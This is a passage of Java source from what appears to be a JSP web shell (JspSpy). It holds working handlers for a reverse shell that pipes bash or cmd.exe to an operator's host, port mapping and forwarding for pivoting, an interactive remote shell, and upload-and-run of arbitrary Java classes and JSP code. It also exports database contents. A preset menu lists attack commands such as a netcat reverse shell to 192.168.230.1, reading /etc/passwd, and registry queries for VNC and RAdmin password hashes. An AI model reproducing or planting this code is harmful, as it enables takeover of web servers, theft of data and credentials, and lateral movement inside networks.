2458}
2459}
2460//StopMapPort
2461private static class SmpInvoker extends DefaultInvoker {
2462public boolean doAfter(){return true;}
2463public boolean doBefore(){return true;}
2464public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2465try {
2466Object obj = JSession.getAttribute(PORT_MAP);
2467if (obj != null) {
2468ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
2469server.close();
2470}
2471JSession.setAttribute("done","Stop Success!");
2472((Invoker)ins.get("vmp")).invoke(request,response,JSession);
2473} catch (Exception e) {
2474
2475throw e ;
2476}
2477}
2478}
2479//PortBack
2480private static class PortBackInvoker extends DefaultInvoker {
2481public boolean doAfter(){return true;}
2482public boolean doBefore(){return true;}
2483public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2484try {
2485String targetIP = request.getParameter("targetIP");
2486String targetPort = request.getParameter("targetPort");
2487String yourIP = request.getParameter("yourIP");
2488String yourPort = request.getParameter("yourPort");
2489Socket yourS = new Socket();
2490yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
2491Socket targetS = new Socket();
2492targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
2493StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
2494StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
2495JSession.setAttribute("done","Port Back Success !");
2496((Invoker)ins.get("vmp")).invoke(request,response,JSession);
2497} catch (Exception e) {
2498
2499throw e ;
2500}
2501}
2502}
2503private static class MapPortInvoker extends DefaultInvoker {
2504public boolean doBefore(){return false;}
2505public boolean doAfter(){return false;}
2506public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2507try {
2508PrintWriter out = response.getWriter();
2509String localIP = request.getParameter("localIP");
2510String localPort = request.getParameter("localPort");
2511final String remoteIP = request.getParameter("remoteIP");
2512final String remotePort = request.getParameter("remotePort");
2513if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
2514return;
2515Object obj = JSession.getAttribute(PORT_MAP);
2516if (obj != null) {
2517ServerSocket s = (ServerSocket)obj;
2518s.close();
2519}
2520final ServerSocket server = new ServerSocket();
2521server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
2522JSession.setAttribute(PORT_MAP,server);
2523new Thread(new Runnable(){
2524public void run(){
2525while (true) {
2526Socket soc = null;
2527Socket remoteSoc = null;
2528DataInputStream remoteIn = null;
2529DataOutputStream remoteOut = null;
2530DataInputStream localIn = null;
2531DataOutputStream localOut = null;
2532try{
2533soc = server.accept();
2534remoteSoc = new Socket();
2535remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
2536remoteIn = new DataInputStream(remoteSoc.getInputStream());
2537remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
2538localIn = new DataInputStream(soc.getInputStream());
2539localOut = new DataOutputStream(soc.getOutputStream());
2540StreamConnector.readFromLocal(localIn,remoteOut);
2541StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
2542}catch(Exception ex)
2543{
2544break;
2545}
2546}
2547}
2548
2549}).start();
2550JSession.setAttribute("done","Map Port Success!");
2551JSession.setAttribute("localIP",localIP);
2552JSession.setAttribute("localPort",localPort);
2553JSession.setAttribute("remoteIP",remoteIP);
2554JSession.setAttribute("remotePort",remotePort);
2555JSession.setAttribute(SESSION_O,"vmp");
2556response.sendRedirect(SHELL_NAME);
2557} catch (Exception e) {
2558
2559throw e ;
2560}
2561}
2562}
2563//VBackConnect
2564private static class VbcInvoker extends DefaultInvoker {
2565public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2566try {
2567PrintWriter out = response.getWriter();
2568Object ip = JSession.getAttribute("ip");
2569Object port = JSession.getAttribute("port");
2570Object program = JSession.getAttribute("program");
2571Object done = JSession.getAttribute("done");
2572JSession.removeAttribute("ip");
2573JSession.removeAttribute("port");
2574JSession.removeAttribute("program");
2575JSession.removeAttribute("done");
2576if (Util.isEmpty(ip))
2577ip = request.getRemoteAddr();
2578if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
2579port = "53";
2580if (Util.isEmpty(program)) {
2581if (ISLINUX)
2582program = "/bin/bash";
2583else
2584program = "cmd.exe";
2585}
2586
2587if (!Util.isEmpty(done))
2588Util.outMsg(out,done.toString());
2589out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2590"<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
2591" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2592" <tr>"+
2593" <td><h2 id=\"Bin_H2_Title\">Back Connect >></h2>"+
2594" <div id=\"hOWTm\">"+
2595" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2596" <tr align=\"center\">"+
2597" <td style=\"width:5%\"></td>"+
2598" <td align=\"center\">Your Ip :"+
2599" <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
2600" Your Port :"+
2601" <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
2602" <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
2603" </tr>"+
2604" <tr align=\"center\">"+
2605" <td colspan=\"2\"><br/>"+
2606" <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
2607" </td>"+
2608" </tr>"+
2609" </table>"+
2610" </div>"+
2611"</td>"+
2612"</tr>"+
2613"</table>"+
2614"</form>");
2615} catch (Exception e) {
2616
2617throw e ;
2618}
2619}
2620}
2621private static class BackConnectInvoker extends DefaultInvoker {
2622public boolean doAfter(){return false;}
2623public boolean doBefore(){return false;}
2624public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2625try {
2626String ip = request.getParameter("ip");
2627String port = request.getParameter("port");
2628String program = request.getParameter("program");
2629if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
2630return;
2631Socket socket = new Socket(ip,Integer.parseInt(port));
2632Process process = Runtime.getRuntime().exec(program);
2633(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
2634(new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
2635(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
2636JSession.setAttribute("done","Back Connect Success!");
2637JSession.setAttribute("ip",ip);
2638JSession.setAttribute("port",port);
2639JSession.setAttribute("program",program);
2640JSession.setAttribute(SESSION_O,"vbc");
2641response.sendRedirect(SHELL_NAME);
2642} catch (Exception e) {
2643
2644throw e ;
2645}
2646}
2647}
2648private static class JspEnvInvoker extends DefaultInvoker {
2649public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2650try {
2651PrintWriter out = response.getWriter();
2652out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2653" <tr>"+
2654" <td><h2 id=\"Ninty_H2_Title\">System Properties >></h2>"+
2655" <div id=\"ghaB\">"+
2656" <hr/>"+
2657" <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
2658Properties pro = System.getProperties();
2659Enumeration names = pro.propertyNames();
2660while (names.hasMoreElements()){
2661String name = (String)names.nextElement();
2662out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
2663}
2664out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment >></h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
2665/*
2666 Map envs = System.getenv();
2667Set<Map.Entry<String,String>> entrySet = envs.entrySet();
2668for (Map.Entry<String,String> en:entrySet) {
2669out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
2670}*/
2671out.println("</ul></div></td>"+
2672" </tr>"+
2673" </table>");
2674} catch (Exception e) {
2675
2676throw e ;
2677}
2678}
2679}
2680private static class ReflectInvoker extends DefaultInvoker {
2681public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2682try {
2683PrintWriter out = response.getWriter();
2684String c = request.getParameter("Class");
2685Class cls = null;
2686try {
2687if (!Util.isEmpty(c))
2688cls = Class.forName(c);
2689} catch (ClassNotFoundException ex) {
2690Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
2691}
2692out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
2693" <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
2694" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2695" <tr>"+
2696" <td><h2 id=\"Bin_H2_Title\">Java Reflect >></h2>"+
2697" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2698" <tr>"+
2699" <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
2700" <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
2701" </tr>"+
2702" "+
2703" </table>"+
2704" </td>"+
2705" </tr>"+
2706" </table>"+
2707"</form>");
2708
2709if (cls != null) {
2710StringBuffer sb = new StringBuffer();
2711if (cls.getPackage() != null)
2712sb.append("package "+cls.getPackage().getName()+";\n");
2713String n = null;
2714if (cls.isInterface())
2715n = "";
2716//else if (cls.isEnum())
2717// n = "enum";
2718else
2719n = "class";
2720sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
2721if (cls.getSuperclass() != null)
2722sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
2723if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
2724Class[] faces = cls.getInterfaces();
2725sb.append("\t implements ");
2726for (int i = 0;i<faces.length;i++) {
2727sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
2728if (i != faces.length -1) {
2729sb.append(",");
2730}
2731}
2732}
2733sb.append("{\n\t\n");
2734sb.append("\t//constructors..\n");
2735Constructor[] cs = cls.getConstructors();
2736for (int i = 0;i<cs.length;i++) {
2737Constructor cc = cs[i];
2738sb.append("\t"+cc+";\n");
2739}
2740sb.append("\n\t//fields\n");
2741Field[] fs = cls.getDeclaredFields();
2742for (int i =0;i<fs.length;i++) {
2743Field f = fs[i];
2744sb.append("\t"+f.toString()+";");
2745if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
2746sb.append("\t//value is : ");
2747f.setAccessible(true);
2748Object obj = f.get(null);
2749sb.append("<span style='color:red'>");
2750if (obj != null)
2751sb.append(obj.toString());
2752else
2753sb.append("NULL");
2754
2755sb.append("</span>");
2756}
2757sb.append("\n");
2758}
2759
2760sb.append("\n\t//methods\n");
2761Method[] ms = cls.getDeclaredMethods();
2762for (int i =0;i<ms.length;i++) {
2763Method m = ms[i];
2764sb.append("\t"+ m.toString()+";\n");
2765}
2766sb.append("}\n");
2767String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t"," ").replaceAll("\n","<br/>")+"</span>";
2768Util.outMsg(out,m,"left");
2769}
2770} catch (Exception e) {
2771throw e;
2772}
2773}
2774}
2775private static class TopInvoker extends DefaultInvoker {
2776public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2777try {
2778PrintWriter out = response.getWriter();
2779out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
2780"<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
2781" <tr class=\"head\">"+
2782" <td><span style=\"float:right;\"></span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
2783" </tr>"+
2784" <tr class=\"alt1\">"+
2785" <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
2786" <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
2787" <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
2788" <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
2789" <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
2790" <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
2791" <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
2792" <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
2793" <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
2794" <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
2795" <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
2796" <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
2797" <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
2798" <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
2799" <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
2800" </tr>"+
2801"</table>");
2802if (JSession.getAttribute(MSG) != null) {
2803Util.outMsg(out,JSession.getAttribute(MSG).toString());
2804JSession.removeAttribute(MSG);
2805}
2806if (JSession.getAttribute(ENTER_MSG) != null) {
2807String outEntry = request.getParameter("outentry");
2808if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
2809Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
2810}
2811} catch (Exception e) {
2812
2813throw e ;
2814}
2815}
2816}
2817private static class VOnLineShellInvoker extends DefaultInvoker {
2818public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2819try {
2820PrintWriter out = response.getWriter();
2821out.println("<script>"+
2822" function $(id) {"+
2823" return document.getElementById(id);"+
2824" }"+
2825" var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
2826" window.onload = function(){"+
2827" setInterval(function(){"+
2828" if ($(\"autoscroll\").checked)"+
2829" {"+
2830" var f = window.frames[\"echo\"];"+
2831" if (f && f.document && f.document.body)"+
2832" {"+
2833" if (!ie)"+
2834" {"+
2835" if (f.document.body.offsetHeight)"+
2836" {"+
2837" f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
2838" }"+
2839" } else {"+
2840" f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
2841" }"+
2842" }"+
2843" }"+
2844" },500);"+
2845" }"+
2846" </script>");
2847out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2848" <tr>"+
2849" <td>");
2850out.println("<h2>Shell OnLine »</h2><br/>");
2851out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
2852" <input type=\"submit\" value=\" start \" class=\"bt\">"+
2853" <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
2854" <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
2855" </form>"+
2856" <hr/>"+
2857" <iframe class=\"secho\" name=\"echo\" src=\"\">"+
2858" </iframe>"+
2859" <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
2860" <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
2861" <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
2862" <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
2863" <option value=\"\" selected> </option>"+
2864" <option value=\"uname -a\">uname -a</option>"+
2865" <option value=\"cat /etc/issue\">issue</option>"+
2866" <option value=\"cat /etc/passwd\">passwd</option>"+
2867" <option value=\"netstat -an\">netstat -an</option>"+
2868" <option value=\"net user\">net user</option>"+
2869" <option value=\"tasklist\">tasklist</option>"+
2870" <option value=\"tasklist /svc\">tasklist /svc</option>"+
2871" <option value=\"net start\">net start</option>"+
2872" <option value=\"net stop policyagent /yes\">net stop</option>"+
2873" <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
2874" <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
2875" <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
2876" <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
2877" <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
2878" <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
2879" <option value=\"systeminfo\">systeminfo</option>"+
2880" <option value=\"net localgroup\">view groups</option>"+
2881" <option value=\"net localgroup administrators\">view admins</option>"+
2882" </select>"+
2883" <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
2884" <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
2885" </form>"+
2886" <iframe style=\"display:none\" name=\"asyn\"></iframe>"
2887);
2888out.println(" </td>"+
2889" </tr>"+
2890"</table>");
2891} catch (Exception e) {
2892throw e ;
2893}
2894}
2895}
2896private static class OnLineInvoker extends DefaultInvoker {
2897public boolean doBefore(){return false;}
2898public boolean doAfter(){return false;}
2899public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2900try {
2901String type = request.getParameter("type");
2902if (Util.isEmpty(type))
2903return;
2904if (type.toLowerCase().equals("start")) {
2905String exe = request.getParameter("exe");
2906if (Util.isEmpty(exe))
2907return;
2908Process pro = Runtime.getRuntime().exec(exe);
2909ByteArrayOutputStream outs = new ByteArrayOutputStream();
2910response.setContentLength(100000000);
2911response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
2912OnLineProcess olp = new OnLineProcess(pro);
2913JSession.setAttribute(SHELL_ONLINE,olp);
2914new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
2915new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
2916new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
2917Thread.sleep(1000 * 60 * 60 * 24);
2918} else if (type.equals("ecmd")) {
2919Object o = JSession.getAttribute(SHELL_ONLINE);
2920String cmd = request.getParameter("cmd");
2921if (Util.isEmpty(cmd))
2922return;
2923if (o == null)
2924return;
2925OnLineProcess olp = (OnLineProcess)o;
2926olp.setCmd(cmd);
2927} else {
2928Object o = JSession.getAttribute(SHELL_ONLINE);
2929if (o == null)
2930return;
2931OnLineProcess olp = (OnLineProcess)o;
2932olp.stop();
2933}
2934} catch (Exception e) {
2935
2936throw e;
2937}
2938}
2939}
2940private static class EnterInvoker extends DefaultInvoker {
2941public boolean doBefore(){return false;}
2942public boolean doAfter(){return false;}
2943public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2944PrintWriter out = response.getWriter();
2945String type = request.getParameter("type");
2946if (!Util.isEmpty(type)) {
2947JSession.removeAttribute(ENTER);
2948JSession.removeAttribute(ENTER_MSG);
2949JSession.removeAttribute(ENTER_CURRENT_DIR);
2950JSession.setAttribute(MSG,"Exit File Success ! ");
2951} else {
2952String f = request.getParameter("filepath");
2953if (Util.isEmpty(f))
2954return;
2955JSession.setAttribute(ENTER,f);
2956JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
2957}
2958response.sendRedirect(SHELL_NAME);
2959}
2960}
2961private static class VExport2FileInvoker extends DefaultInvoker {
2962public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2963PrintWriter out = response.getWriter();
2964String type = request.getParameter("type");
2965String sql = request.getParameter("sql");
2966String table = request.getParameter("table");
2967if (Util.isEmpty(sql) && Util.isEmpty(table)) {
2968JSession.setAttribute(SESSION_O,"vConn");
2969response.sendRedirect(SHELL_NAME);
2970return;
2971}
2972out.println("<form action=\"\" method=\"post\">"+
2973"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2974" <tr>"+
2975" <td>"+
2976" <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
2977" <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
2978" <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","""))+"\"/>"+
2979" <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
2980" <h2>Export To File »</h2>"+
2981" "+
2982" <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","""))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/>"+
2983" <select name='encode' class='input'><option value=''>ANSI</option><option value='GBK'>GBK</option><option value='UTF-8'>UTF-8</option><option value='ISO-8859-1'>ISO-8859-1</option></select>"+
2984" <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
2985" </tr>"+
2986" </table>"+
2987"</form>");
2988}
2989}
2990
2991private static class ExportInvoker extends DefaultInvoker {
2992public boolean doBefore(){return false;}
2993public boolean doAfter(){return false;}
2994public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2995String type = request.getParameter("type");
2996String filepath = request.getParameter("filepath");
2997String encode = request.getParameter("encode");
2998String sql = null;
2999DBOperator dbo = null;
3000dbo = (DBOperator)JSession.getAttribute(DBO);
3001
3002if (Util.isEmpty(type)) {
3003//table export
3004String tb = request.getParameter("table");
3005if (Util.isEmpty(tb))
3006return;
3007String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
3008sql = "select * from "+s+tb+s;
3009
3010} else if (type.equals("queryexp")) {
3011//query export
3012sql = request.getParameter("sql");
3013if (Util.isEmpty(sql)) {
3014JSession.setAttribute(SESSION_O,"vConn");
3015response.sendRedirect(SHELL_NAME);
3016return;
3017}
3018}
3019Object o = dbo.execute(sql);
3020ByteArrayOutputStream bout = new ByteArrayOutputStream();
3021byte[] rowSep = "\r\n".getBytes();
3022if (o instanceof ResultSet) {
3023ResultSet rs = (ResultSet)o;
3024ResultSetMetaData meta = rs.getMetaData();
3025int count = meta.getColumnCount();
3026for (int i =1;i<=count;i++) {
3027String colName = meta.getColumnName(i)+"\t";
3028byte[] b = null;
3029if (Util.isEmpty(encode))
3030b = colName.getBytes();
3031else
3032b = colName.getBytes(encode);
3033bout.write(b,0,b.length);
3034}
3035bout.write(rowSep,0,rowSep.length);
3036while (rs.next()) {
3037for (int i =1;i<=count;i++) {
3038String v = null;
3039try {
3040v = rs.getString(i);
3041} catch (SQLException ex) {
3042v = "<<Error!>>";
3043}
3044v += "\t";
3045byte[] b = null;
3046if (Util.isEmpty(encode))
3047b = v.getBytes();
3048else
3049b = v.getBytes(encode);
3050bout.write(b,0,b.length);
3051}
3052bout.write(rowSep,0,rowSep.length);
3053}
3054rs.close();
3055ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
3056BufferedOutputStream output = null;
3057if (!Util.isEmpty(filepath)) {
3058//export2file
3059output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
3060} else {
3061//download.
3062response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
3063output = new BufferedOutputStream(response.getOutputStream());
3064}
3065byte[] data = new byte[1024];
3066int len = input.read(data);
3067while (len != -1) {
3068output.write(data,0,len);
3069len = input.read(data);
3070}
3071bout.close();
3072input.close();
3073output.close();
3074if (!Util.isEmpty(filepath)) {
3075JSession.setAttribute(MSG,"Export To File Success !");
3076response.sendRedirect(SHELL_NAME);
3077}
3078}
3079}
3080}
3081private static class EvalInvoker extends DefaultInvoker {
3082public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3083String type = request.getParameter("type");
3084PrintWriter out = response.getWriter();
3085Object msg = JSession.getAttribute(MSG);
3086if (msg != null) {
3087Util.outMsg(out,(String)msg);
3088JSession.removeAttribute(MSG);
3089}
3090if (Util.isEmpty(type)) {
3091out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3092" <tr>"+
3093" <td><h2>Eval Java Code »</h2>"+
3094"<hr/>"+
3095" <p>"+
3096" <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\" enctype=\"multipart/form-data\">"+
3097"UpLoad a Class File : ");
3098Util.outMsg(out,"<pre>"+
3099"<span style='color:blue'>public class</span> SpyEval{\r\n"+
3100" <span style='color:blue'>static</span> {\r\n"+
3101" <span style='color:green'>//Your Code Here.</span>\r\n"+
3102" }\r\n"+
3103"}\r\n"+
3104"</pre>","left");
3105out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
3106" <form action=\""+SHELL_NAME+"\" method=\"post\"><p></p>Jsp Eval : <br/>"+
3107" <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
3108" <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
3109" <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\" />"+
3110" </form>"+
3111" </p>"+
3112" </td>"+
3113" </tr>"+
3114"</table>");
3115} else if (type.equals("jsp")){
3116String jspc = request.getParameter("jspc");
3117if (Util.isEmpty(jspc))
3118return;
3119File f = new File(SHELL_DIR,"evaltmpninty.jsp");
3120BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
3121writer.write(jspc,0,jspc.length());
3122writer.flush();
3123writer.close();
3124out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3125" <tr>"+
3126" <td><h2>Jsp Eval Result »</h2>");
3127out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
3128request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
3129out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
3130f.delete();
3131}
3132}
3133}
3134private static class EvalUploadInvoker extends DefaultInvoker {
3135public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3136ByteArrayOutputStream stream = new ByteArrayOutputStream();
3137UploadBean upload = new UploadBean();
3138upload.setTargetOutput(stream);
3139upload.parseRequest(request);
3140
3141if (stream.toByteArray().length == 2) {
3142JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
3143((Invoker)ins.get("ev")).invoke(request,response,JSession);
3144return;
3145}
3146SpyClassLoader loader = new SpyClassLoader();
3147try {
3148Class c = loader.defineClass(null,stream.toByteArray());
3149c.newInstance();
3150}catch(Exception e) {
3151}
3152stream.close();
3153JSession.setAttribute(MSG,"Eval Java Class Done ! ");
3154((Invoker)ins.get("ev")).invoke(request,response,JSession);
3155}
3156}
3157private static class VOtherInvoker extends DefaultInvoker {
3158public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
3159try {
3160PrintWriter out = response.getWriter();
3161Object msg = JSession.getAttribute(MSG);
3162if (msg != null) {
3163Util.outMsg(out,(String)msg);
3164JSession.removeAttribute(MSG);
3165}
3166out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
3167" <tr>"+
3168" <td><h2 id=\"Bin_H2_Title\">Session Manager>></h2><hr/>"+
3169" <div id=\"hOWTm\" style=\"line-height:30px\">"+
3170" <ul>");
3171Enumeration en = JSession.getAttributeNames();
3172while (en.hasMoreElements()) {
3173Object o = en.nextElement();
3174if (o.toString().equals(MSG))
3175continue;
3176out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
